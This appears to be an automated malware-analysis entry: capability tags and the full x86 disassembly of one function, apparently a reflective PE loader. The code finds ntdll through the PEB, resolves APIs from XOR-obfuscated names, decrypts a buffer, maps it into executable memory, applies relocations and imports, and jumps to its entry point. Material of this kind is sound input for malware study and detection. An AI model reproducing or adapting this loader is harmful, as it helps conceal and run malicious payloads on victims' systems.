Function at 0x10001fe0
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xb8
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movdqa xmmword [esp + 0x48], xmm0
movdqa xmmword [esp + 0x28], xmm0
mov edx, dword [esp + 0x28]
movdqa xmmword [esp + 0x38], xmm0
movdqa xmmword [esp + 0x58], xmm0
movdqa xmmword [esp + 0x68], xmm0
mov dword [esp + 0x50], eax
mov eax, dword [eax + 0xc]
push esi
push edi
mov dword [esp + 0xb8], ecx
mov esi, dword [eax + 0xc]
mov edi, dword [esi + 0x18]
test edi, edi
je 0x10002064
mov ecx, dword [esi + 0x30]
movzx eax, word [ecx]
cmp eax, 0x4e
je 0x10002041
cmp eax, 0x6e
jne 0x10002057
cmp word [ecx + 2], 0x74
jne 0x10002057
mov ax, word [ecx + 6]
cmp ax, word [ecx + 8]
cmove edx, edi
mov dword [esp + 0x30], edx
test edx, edx
jne 0x10002064
mov esi, dword [esi]
mov edi, dword [esi + 0x18]
test edi, edi
jne 0x10002031
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
add esi, edx
mov eax, dword [esp + 0x4c]
add ecx, edx
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0xa8], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x9c], eax
mov eax, dword [esi]
mov dword [esp + 0x1c], esi
mov ecx, dword [eax + edx + 8]
mov esi, dword [eax + edx]
xor ecx, 0xbbeaf4ff
mov edi, dword [eax + edx + 4]
xor esi, 0xbbeaf4ff
mov dword [esp + 8], ecx
xor edi, 0xbbeaf4ff
mov ecx, dword [eax + edx + 0xc]
xor ecx, 0xbbeaf4ff
mov dword [esp + 0xc], ecx
mov ecx, dword [eax + edx + 0x10]
mov eax, dword [eax + edx + 0x14]
xor ecx, 0xbbeaf4ff
xor eax, 0xbbeaf4ff
mov dword [esp + 0x24], ecx
cmp dword [esp + 0xa0], 0
mov ecx, dword [esp + 0x18]
mov dword [esp + 0xbc], eax
mov eax, dword [esp + 8]
jne 0x10002188
cmp esi, 0xd7ab83a5
jne 0x10002188
cmp edi, 0xda899b93
jne 0x10002188
cmp eax, 0xd2bc918b
jne 0x10002188
cmp dword [esp + 0xc], 0xda9f808d
jne 0x10002188
cmp dword [esp + 0x24], 0xd68fb993
jne 0x10002188
cmp dword [esp + 0xbc], 0xbb938690
jne 0x10002188
mov eax, dword [esp + 0x20]
movzx ecx, word [ecx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x18]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xa0], eax
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 8]
cmp dword [esp + 0x80], 0
jne 0x100021da
cmp esi, 0xc9ac83a5
jne 0x100021da
cmp edi, 0xd2bc919a
jne 0x100021da
cmp eax, 0xda9f808d
jne 0x100021da
cmp dword [esp + 0xc], 0xd68fb993
jne 0x100021da
cmp dword [esp + 0x24], 0xbb938690
jne 0x100021da
mov eax, dword [esp + 0x20]
movzx ecx, word [ecx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x80], eax
mov dword [esp + 0x40], eax
cmp dword [esp + 0xa8], 0
jne 0x10002215
cmp esi, 0xf79890b3
jne 0x10002215
cmp edi, 0xff8e9590
jne 0x10002215
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xa8], eax
mov dword [esp + 0x38], eax
cmp dword [esp + 0x9c], 0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
jne 0x10002279
cmp esi, 0xfc9890b3
jne 0x10002279
cmp edi, 0xc9ba809a
jne 0x10002279
cmp eax, 0xdf8f9790
jne 0x10002279
cmp ecx, 0xfa8f868a
jne 0x10002279
cmp dword [esp + 0x24], 0xde98909b
jne 0x10002279
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0xc]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x9c], eax
mov dword [esp + 0x34], eax
mov eax, dword [esp + 8]
cmp dword [esp + 0x10], 0
jne 0x100022d4
cmp esi, 0xfa8680ad
jne 0x100022d4
cmp edi, 0xe8838791
jne 0x100022d4
cmp eax, 0xd583868b
jne 0x100022d4
cmp ecx, 0xee85a098
jne 0x100022d4
cmp dword [esp + 0x24], 0xd4899d91
jne 0x100022d4
cmp dword [esp + 0xbc], 0xcfb9919b
jne 0x100022d4
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x48], eax
cmp dword [esp + 0xa4], 0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
jne 0x10002338
cmp esi, 0xfd8680ad
jne 0x10002338
cmp edi, 0xee8f918d
jne 0x10002338
cmp eax, 0xd4899d91
jne 0x10002338
cmp ecx, 0xcfb9919b
jne 0x10002338
cmp dword [esp + 0x24], 0xdc849d8d
jne 0x10002338
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0xc]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xa4], eax
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 8]
cmp dword [esp + 0x28], 0
jne 0x10002390
cmp esi, 0xff8680ad
jne 0x10002390
cmp edi, 0xd685979a
jne 0x10002390
cmp eax, 0xc88f868f
jne 0x10002390
cmp ecx, 0xdd9fb68c
jne 0x10002390
xor eax, eax
cmp dword [esp + 0x24], 0x726566
sete al
xor eax, 0xbbeaf4ff
je 0x10002390
mov eax, dword [esp + 0x18]
movzx ecx, word [eax]
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
cmp dword [esp + 0xa8], 0
je 0x100023ca
mov edi, dword [esp + 0xa0]
test edi, edi
je 0x100023ca
cmp dword [esp + 0x80], 0
je 0x100023ca
cmp dword [esp + 0x9c], 0
je 0x100023ca
cmp dword [esp + 0xa4], 0
je 0x100023ca
cmp dword [esp + 0x10], 0
jne 0x100023db
mov esi, dword [esp + 0x1c]
add esi, 4
add dword [esp + 0x18], 2
jmp 0x100020c6
mov esi, dword [esp + 0xb8]
xor edx, edx
mov ecx, 4
lea esp, [esp]
movzx eax, word [esi + 2]
add word [ecx + esi], ax
movzx eax, word [esi]
xor word [ecx + esi], ax
lea eax, [edx + 0x128e]
add word [esi], ax
lea edx, [edx + 1]
add ecx, 2
cmp ecx, 0xc
jl 0x100023f0
mov eax, dword [esi + 8]
mov ecx, 4
and eax, 0xfffffffe
cmp eax, 8
jbe 0x10002457
mov edx, 0xc
jmp 0x10002430
movzx eax, word [esi + 2]
lea edx, [edx + 2]
add word [edx + esi - 2], ax
movzx eax, word [esi]
xor word [edx + esi - 2], ax
lea eax, [ecx + 0x128e]
add word [esi], ax
inc ecx
mov eax, dword [esi + 8]
shr eax, 1
cmp ecx, eax
jb 0x10002430
mov eax, dword [esi + 4]
push 4
push 0x1000
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
push 0
lea eax, [esp + 0x60]
push eax
push 0xffffffffffffffff
call edi
lea eax, [esp + 0x54]
push eax
push dword [esi + 8]
lea eax, [esi + 0xc]
push eax
push dword [esi + 4]
push dword [esp + 0x60]
push 0x102
call dword [esp + 0x5c]
mov ecx, dword [esp + 0x50]
mov eax, 0x5a4d
mov dword [esp + 0x5c], ecx
cmp word [ecx], ax
je 0x100024ab
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0x60], eax
cmp dword [eax], 0x4550
jne 0x100024a3
mov eax, dword [eax + 0x50]
push 0x40
push 0x1000
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
push 0
lea eax, [esp + 0x74]
push eax
push 0xffffffffffffffff
call dword [esp + 0x54]
mov edx, dword [esp + 0x64]
test edx, edx
je 0x100024a3
mov eax, dword [esp + 0x60]
xor ecx, ecx
cmp dword [eax + 0x54], ecx
jbe 0x10002508
nop
mov eax, dword [esp + 0x5c]
mov al, byte [ecx + eax]
mov byte [ecx + edx], al
inc ecx
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
cmp ecx, dword [eax + 0x54]
jb 0x100024f0
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x10], ecx
mov eax, dword [eax + 0x3c]
add eax, edx
mov dword [esp + 0x68], eax
mov dword [eax + 0x34], edx
xor edx, edx
mov edi, dword [esp + 0x68]
cmp dx, word [edi + 6]
mov edx, edi
movzx eax, word [edi + 0x14]
jae 0x100025a5
add edi, 0x28
add edi, eax
mov eax, dword [edi]
test eax, eax
jne 0x10002569
mov eax, dword [esp + 0x60]
mov eax, dword [eax + 0x38]
test eax, eax
je 0x10002595
xor edx, edx
test eax, eax
je 0x10002591
lea esp, [esp]
mov ecx, dword [edi - 4]
mov eax, dword [esp + 0x64]
add ecx, edx
inc edx
mov byte [ecx + eax], 0
mov eax, dword [esp + 0x60]
cmp edx, dword [eax + 0x38]
jb 0x10002550
jmp 0x1000258d
xor esi, esi
test eax, eax
je 0x10002595
nop
mov ecx, dword [edi + 4]
mov eax, dword [esp + 0x50]
add ecx, esi
mov edx, dword [edi - 4]
add edx, esi
inc esi
mov cl, byte [ecx + eax]
mov eax, dword [esp + 0x64]
mov byte [edx + eax], cl
cmp esi, dword [edi]
jb 0x10002570
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x68]
movzx eax, word [edx + 6]
inc ecx
add edi, 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x10002535
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov edi, ecx
sub edi, dword [eax + 0x34]
mov dword [esp + 0x6c], edi
je 0x1000264e
cmp dword [edx + 0xa4], 0
jbe 0x1000264e
mov edx, dword [edx + 0xa0]
add edx, ecx
mov dword [esp + 0x10], edx
mov eax, dword [edx]
test eax, eax
je 0x1000264e
jmp 0x100025e0
add eax, ecx
add edx, 8
mov dword [esp + 0x28], eax
xor esi, esi
mov eax, dword [esp + 0x10]
add eax, 4
mov dword [esp + 0x1c], eax
mov eax, dword [eax]
sub eax, 8
test eax, 0xfffffffe
jbe 0x1000263a
movzx ecx, word [edx]
mov eax, ecx
and eax, 0xf000
cmp eax, 0x3000
jne 0x10002623
and ecx, 0xfff
add ecx, dword [esp + 0x28]
add dword [ecx], edi
mov edi, dword [esp + 0x6c]
mov eax, dword [esp + 0x1c]
inc esi
add edx, 2
mov eax, dword [eax]
sub eax, 8
shr eax, 1
cmp esi, eax
jb 0x10002602
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add edx, dword [eax]
mov dword [esp + 0x10], edx
mov eax, dword [edx]
test eax, eax
jne 0x100025e0
mov eax, dword [esp + 0x68]
cmp dword [eax + 0x84], 0
jbe 0x1000276b
mov esi, dword [eax + 0x80]
add esi, ecx
mov dword [esp + 0x1c], esi
je 0x1000276b
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10002767
add ecx, eax
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x1000268f
inc eax
cmp byte [eax + ecx], 0
jne 0x10002688
mov word [esp + 0x78], ax
inc eax
mov word [esp + 0x7a], ax
lea eax, [esp + 0x78]
push 1
push eax
lea eax, [esp + 0x78]
push eax
call dword [esp + 0x54]
lea eax, [esp + 0xb4]
push eax
lea eax, [esp + 0x74]
push eax
push 0
push 0
call dword [esp + 0x48]
lea eax, [esp + 0x70]
push eax
call dword [esp + 0x50]
mov edx, dword [esp + 0xb4]
test edx, edx
je 0x100024a3
mov eax, dword [esi]
mov ecx, dword [esp + 0x64]
test eax, eax
je 0x100026eb
mov esi, dword [esi + 0x10]
lea edi, [eax + ecx]
add esi, ecx
jmp 0x100026f2
mov edi, dword [esi + 0x10]
add edi, ecx
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x10002756
test eax, eax
jns 0x10002705
movzx eax, word [edi]
push esi
push eax
push 0
jmp 0x1000272e
add ecx, 2
add ecx, eax
xor eax, eax
mov dword [esp + 0x7c], ecx
cmp byte [ecx], al
je 0x1000271b
inc eax
cmp byte [eax + ecx], 0
jne 0x10002714
mov word [esp + 0x78], ax
inc eax
push esi
mov word [esp + 0x7e], ax
lea eax, [esp + 0x7c]
push 0
push eax
push edx
call dword [esp + 0x44]
cmp dword [esi], 0
je 0x10002752
mov eax, dword [edi + 4]
add edi, 4
add esi, 4
test eax, eax
je 0x10002752
mov ecx, dword [esp + 0x64]
mov edx, dword [esp + 0xb4]
jmp 0x100026f8
mov ecx, dword [esp + 0x64]
mov esi, dword [esp + 0x1c]
add esi, 0x14
mov dword [esp + 0x1c], esi
jne 0x10002671
mov eax, dword [esp + 0x68]
mov edx, dword [eax + 0x28]
add edx, ecx
xor eax, eax
mov byte [eax + ecx], 0
inc eax
cmp eax, 4
jae 0x10002782
mov ecx, dword [esp + 0x64]
jmp 0x10002772
xor ecx, ecx
mov eax, dword [esp + 0x68]
mov byte [ecx + eax], 0
inc ecx
cmp ecx, 4
jb 0x10002784
mov eax, dword [esp + 0x68]
cmp dword [eax + 0x28], 0
je 0x100027ac
mov ecx, dword [esp + 0xb8]
push ecx
push 1
push dword [esp + 0x6c]
call edx
push 0x4000
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x58]
push eax
push 0xffffffffffffffff
call dword [esp + 0x50]
mov eax, dword [esp + 0x64]
pop edi
pop esi
mov esp, ebp
pop ebp
ret